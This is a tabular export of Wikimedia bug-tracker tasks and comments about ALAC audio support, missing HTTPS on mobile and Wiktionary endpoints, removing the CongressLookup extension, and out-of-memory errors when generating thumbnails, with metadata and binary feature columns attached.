+159746,Apple Lossless (ALAC) audio support via TimedMediaHandler (transcode to oga),I'm simply mixing different stuff. Sorry :(,,,1372671854,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-skbjv26kzo5u2ydsrprc,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+159738,Apple Lossless (ALAC) audio support via TimedMediaHandler (transcode to oga),Kelson: How is ALAC related to FLAC? Also see comment 2.,,,1372671034,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-skbjv26kzo5u2ydsrprc,task_subcomment,,True,c2,1,True,,,-9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0
+159729,Apple Lossless (ALAC) audio support via TimedMediaHandler (transcode to oga),Duplicate? https://bugzilla.wikimedia.org/show_bug.cgi?id=49505,,,1372665432,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-skbjv26kzo5u2ydsrprc,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0
+159719,Apple Lossless (ALAC) audio support via TimedMediaHandler (transcode to oga),Not sure right now but I think we already have support for FLAC. Just because there is another OpenSource Codec for lossless audio storage it does not mean we have to implement it.,,,1354727117,,PHID-USER-yhujnd4weqzxkjnpve64,False,,,PHID-TASK-skbjv26kzo5u2ydsrprc,task_subcomment,,True,c2,1,False,,,-38,True,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+159714,Apple Lossless (ALAC) audio support via TimedMediaHandler (transcode to oga),"**jgerber** wrote:
+
+ffmpeg supports decoding alac for some time, so TMH transcoding would work.
+
+To support upload without Firefogg, some way to  detect if a selected .m4a file contains alac or aac would be needed. Could not find an existing implementation.",,,1321703214,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-skbjv26kzo5u2ydsrprc,task_subcomment,,True,c2,1,False,,,-93,True,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+33333,No SSL for MobileFrontend m. domain: https://en.m.wikipedia.org/ does not respond,"https://en.m.wikipedia.org/
+
+""Unable to connect
+
+Firefox can't establish a connection to the server at en.m.wikipedia.org.""
+
+*.m.wikipedia.org has its own font-end proxy (mobile-lb) which doesn't appear to handle port 443 for HTTPS.
+
+
+Note that SSL certs for *.wikipedia.org won't apply to something.m.wikipedia.org as they only apply for that single level of wildcarding. Nice.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: https://en.m.wikipedia.org/",Low,25.0,1317673680,1328609900.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-h4qtejhhob3ppzjmv6ub,task_description,resolved,True,c2,1,True,False,True,-100,True,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+150147,No SSL for MobileFrontend m. domain: https://en.m.wikipedia.org/ does not respond,"https://en.m.wikipedia.org/  works meanwhile. Setting status to ""resolved"".",,,1328609900,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-h4qtejhhob3ppzjmv6ub,task_subcomment,,True,c2,1,True,,,-82,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0
+150141,No SSL for MobileFrontend m. domain: https://en.m.wikipedia.org/ does not respond,*** Bug 31390 has been marked as a duplicate of this bug. ***,,,1317842278,,PHID-USER-qmantxp3p7omhisp3qgq,False,,,PHID-TASK-h4qtejhhob3ppzjmv6ub,task_subcomment,,True,c2,1,False,,,-99,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+150133,No SSL for MobileFrontend m. domain: https://en.m.wikipedia.org/ does not respond,"(In reply to comment #1)
+> As noted in Bug 29896 *.m.wikipedia.org should be going away soon.
+
+Can you provide more details on that? Note that there are iPhone/iPad apps that explicitly link to the m. domain to force 'mobile' rendering, which presumably might be affected by some sort of elimination of the domain.",,,1317751008,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-h4qtejhhob3ppzjmv6ub,task_subcomment,,True,c2,1,True,,,-100,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1
+150126,No SSL for MobileFrontend m. domain: https://en.m.wikipedia.org/ does not respond,As noted in Bug 29896 *.m.wikipedia.org should be going away soon.,,,1317748758,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-h4qtejhhob3ppzjmv6ub,task_subcomment,,True,c2,1,False,,,-100,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+39363,Uninstall CongressLookup extension from Wikimedia wikis,"According to <https://en.wikipedia.org/wiki/Special:Version>, the CongressLookup extension (<https://www.mediawiki.org/wiki/Extension:CongressLookup>) is currently installed. It's no longer needed, as far as I know, and can safely be uninstalled. God willing it won't ever be needed again.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Lowest,10.0,1338958860,1339630859.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-umxbxmmbrfy2cddfm264,task_description,resolved,True,c2,1,True,False,True,-64,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,1
+180002,Uninstall CongressLookup extension from Wikimedia wikis,"Change has been successfully merged into the git repository and then deployed.
+
+The extension is now removed, according https://en.wikipedia.org/wiki/Special:Version",,,1339630854,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-umxbxmmbrfy2cddfm264,task_subcomment,,True,c2,1,False,,,-63,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+179997,Uninstall CongressLookup extension from Wikimedia wikis,"Adding 'ops' keyword, as there are tables to delete.
+
+Code review: https://gerrit.wikimedia.org/r/#/c/11144/
+
+Tables to remove:
+* cl_house
+* cl_senate
+* cl_zip3
+* cl_zip5",,,1339580044,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-umxbxmmbrfy2cddfm264,task_subcomment,,True,c2,1,False,,,-63,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+179991,Uninstall CongressLookup extension from Wikimedia wikis,"Adding shell keyword.
+
+Lowest priority, minor importance.",,,1339552806,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-umxbxmmbrfy2cddfm264,task_subcomment,,True,c2,1,False,,,-63,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0
+38166,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"For https://commons.wikimedia.org/wiki/File:Carbon_River_pano_01A.jpg
+
+http://upload.wikimedia.org/wikipedia/commons/thumb/f/f6/Carbon_River_pano_01A.jpg/6565px-Carbon_River_pano_01A.jpg
+
+Some sort of Guru meditation.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Lowest,10.0,1335143940,1569621040.0,PHID-USER-wqc7ciyvfzunj3l2tvjt,False,PHID-USER-j7jwnj5chzo76nqqvgqc,False,PHID-TASK-2sndzb2ydzwochmrxplf,task_description,duplicate,True,c2,1,False,False,False,-71,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+1361244,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"This is same as T200313, closing as duplicate.",,,1569621031,,PHID-USER-j7jwnj5chzo76nqqvgqc,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,3,True,,,317,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+462234,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/Logiz_de_la_Lune_Rousse-Affiche1900.jpg/120px-Logiz_de_la_Lune_Rousse-Affiche1900.jpg
+
+```
+
+Error generating thumbnail
+
+There have been too many recent failed attempts (4 or more) to render this thumbnail. Please try again later. 
+```",,,1432295639,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,3,False,,,90,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0
+172172,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"Error code 137 = out of memory.
+
+(In reply to Jasper Deng from comment #0)
+> http://upload.wikimedia.org/wikipedia/commons/thumb/f/f6/
+> Carbon_River_pano_01A.jpg/6565px-Carbon_River_pano_01A.jpg
+> 
+> Some sort of Guru meditation.
+
+What's the use case for generating a 6000px wide thumbnail?
+
+(In reply to earthsound from comment #10)
+> I determined that I'd hit bug 17645, saved the file as a baseline optimized
+> JPEG rather than progressive and now the thumbnails work. Sorry for the
+> noise. 
+> 
+> Perhaps the images reported in this bug are saved similarly (progressive)?
+
+Yep, that would do it. Progressive images are much more memory intensive to scale.
+
+----
+Note: the Carbon river file is a baseline jpeg.
+
+Honestly I don't find it that surprising that it runs out of memory when you try to make a 66 megapixel thumbnail. I feel like this bug should be wontfixed unless people have a compelling reason to need such huge thumbnails.",,,1400351520,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,3,False,,,37,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+172164,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"(In reply to earthsound from comment #10)
+> Perhaps the images reported in this bug are saved similarly (progressive)?
+
+Ouch. We have lists of progressive images, attachment 11220 and attachment 11500, and you can easily test the cases above with exiftools or whatever. I think we've replaced by bot (most) of the bigger ones, but there may be other factors beyond size that make them fail: in that case, it would be nice to determine what they are, to fix them by bot.
+It's also possible that whatever you did (a null ""convert"" run?) fixed *other* things.",,,1393968377,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,3,True,,,26,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1
+172155,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"**earthsound** wrote:
+
+I determined that I'd hit bug 17645, saved the file as a baseline optimized JPEG rather than progressive and now the thumbnails work. Sorry for the noise. 
+
+Perhaps the images reported in this bug are saved similarly (progressive)?",,,1393957092,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,3,False,,,26,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+172146,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"**earthsound** wrote:
+
+I have been seeing this error (as mentioned in comment 8, it's generating ""Error code:137"" now) for this particular image: 
+
+https://commons.wikimedia.org/wiki/File:Aerial_drawing,_1885,_of_Birmingham,_Alabama.jpg
+
+The preview on that page (1280px width) is broken:
+
+https://upload.wikimedia.org/wikipedia/commons/thumb/6/66/Aerial_drawing%2C_1885%2C_of_Birmingham%2C_Alabama.jpg/1280px-Aerial_drawing%2C_1885%2C_of_Birmingham%2C_Alabama.jpg
+
+After a few failed attempts, it will generate this error: ""Error generating thumbnail - There have been too many recent failed attempts (5 or more) to render this thumbnail. Please try again later.""
+
+I have found that any size thumbnail up to a width of 1234px will generate OK, but anything 1235px width or larger fails 100% of the time, even though the full resolution image is OK.",,,1393954894,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,3,False,,,26,True,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+172140,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"I get ""Error code: 137"" nowadays.",,,1393621965,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,3,True,,,26,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0
+172137,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"(In reply to comment #6)
+> I am getting a similar error when trying to download van Gogh:
+
+That's covered in bug 44071 instead.",,,1358500573,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,1,True,,,-32,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+172134,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"**DIA.Keyser** wrote:
+
+I am getting a similar error when trying to download any size larger than 2048px for this van Gogh:
+
+http://commons.wikimedia.org/wiki/File:Vincent_van_Gogh_-_De_slaapkamer_-_Google_Art_Project.jpg#file",,,1358449619,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,1,False,,,-32,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+172132,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"**sumanah** wrote:
+
+Still reproducible at
+
+http://upload.wikimedia.org/wikipedia/commons/thumb/f/f6/Carbon_River_pano_01A.jpg/6565px-Carbon_River_pano_01A.jpg
+
+When I change the width:
+
+https://upload.wikimedia.org/wikipedia/commons/thumb/f/f6/Carbon_River_pano_01A.jpg/72px-Carbon_River_pano_01A.jpg
+
+then it's fine.
+
+This may be related to bug 13493 (""Can't create thumbnail of images with a peculiar aspect ratio"") and bug 20312 (""Error creating thumbnail: Image was not scaled, is the requested width bigger than the source?"").",,,1351149257,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,1,False,,,-44,True,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,0
+172130,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"(In reply to comment #3)
+> my guess is that it's failing to resize to a thumbnail that is 6565 pixels
+> wide.  It works for smaller images.  
+
+Is it a Wikimedia or a MediaWiki issue then? (Still happening.)",,,1345141253,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,1,True,,,-54,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+172127,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"**bhartshorne** wrote:
+
+my guess is that it's failing to resize to a thumbnail that is 6565 pixels wide.  It works for smaller images.  fwiw, convert is failing with exit code 153.",,,1335995479,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,1,False,,,-69,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+172124,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,"(In reply to comment #1)
+> XID: 1391948384
+
+This XID value seems to change on page refresh, by the way.",,,1335222024,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,1,True,,,-71,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+172117,HTTP 500 error when generating 6000px wide thumbnail of a 6912px wide and 12.5MB JPEG file,XID: 1391948384,,,1335214085,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-2sndzb2ydzwochmrxplf,task_subcomment,,True,c2,1,False,,,-71,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+37760,"[Wiktionary] Requests are made via http, not https","**Author:** `pfhayes`
+
+**Description:**
+This change was made for the beta, but we can't release the real app until this is fixed.
+
+Caused by this bug: https://bugzilla.wikimedia.org/show_bug.cgi?id=34788
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Lowest,10.0,1333741980,1564270843.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-f6r2yvgb6bripyj2yxbu,task_description,declined,True,c2,1,False,False,False,-73,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+1324851,"[Wiktionary] Requests are made via http, not https","Boldly declining this task as per discussion and arguments in {T205727}. The way to got forward should be {T165495}. If someone plans to take on development responsibility again, feel free to change the task status back to ""Open"".",,,1564270843,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-f6r2yvgb6bripyj2yxbu,task_subcomment,,True,c2,3,True,,,308,True,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+410663,"[Wiktionary] Requests are made via http, not https","I am not working on this project, removing assignment.",,,1423771226,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-f6r2yvgb6bripyj2yxbu,task_subcomment,,True,c2,3,True,,,76,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+167915,"[Wiktionary] Requests are made via http, not https","**pfhayes** wrote:
+
+I am not working on this issue anymore.",,,1393599742,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-f6r2yvgb6bripyj2yxbu,task_subcomment,,True,c2,3,False,,,26,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+167909,"[Wiktionary] Requests are made via http, not https","Patrick Hayes: You assigned this issue to you a while ago. 
+Could you please provide a status update and inform us whether you are still working (or still plan to work) on this issue? 
+Only in case you do not plan to work on this issue anymore, should the assignee be set back to default and the bug status changed from ASSIGNED to NEW/UNCONFIRMED? Thanks.",,,1393598940,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-f6r2yvgb6bripyj2yxbu,task_subcomment,,True,c2,3,True,,,26,True,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0
+167902,"[Wiktionary] Requests are made via http, not https","[Merging 'Wiktionary App'&'Wikisource App' into 'Wikipedia App', see bug 41922]",,,1363957515,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-f6r2yvgb6bripyj2yxbu,task_subcomment,,True,c2,1,True,,,-23,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1
+37637,etherpad.wikimedia.org does not work correctly on https,"etherpad.wikimedia.org fails to work on https. The page loads correctly, but the channel appears empty, and after a few seconds you get a disconnection notice. At first glance the problem seems to be that the comet request is sent to http: even if the page is on https: and so it is tripped by cross-domain restrictions.
+
+This is a big problem when using HTTPS Everywhere because it force-redirects everything under *.wikimedia.org to https.
+
+--------------------------
+**Version**: unspecified
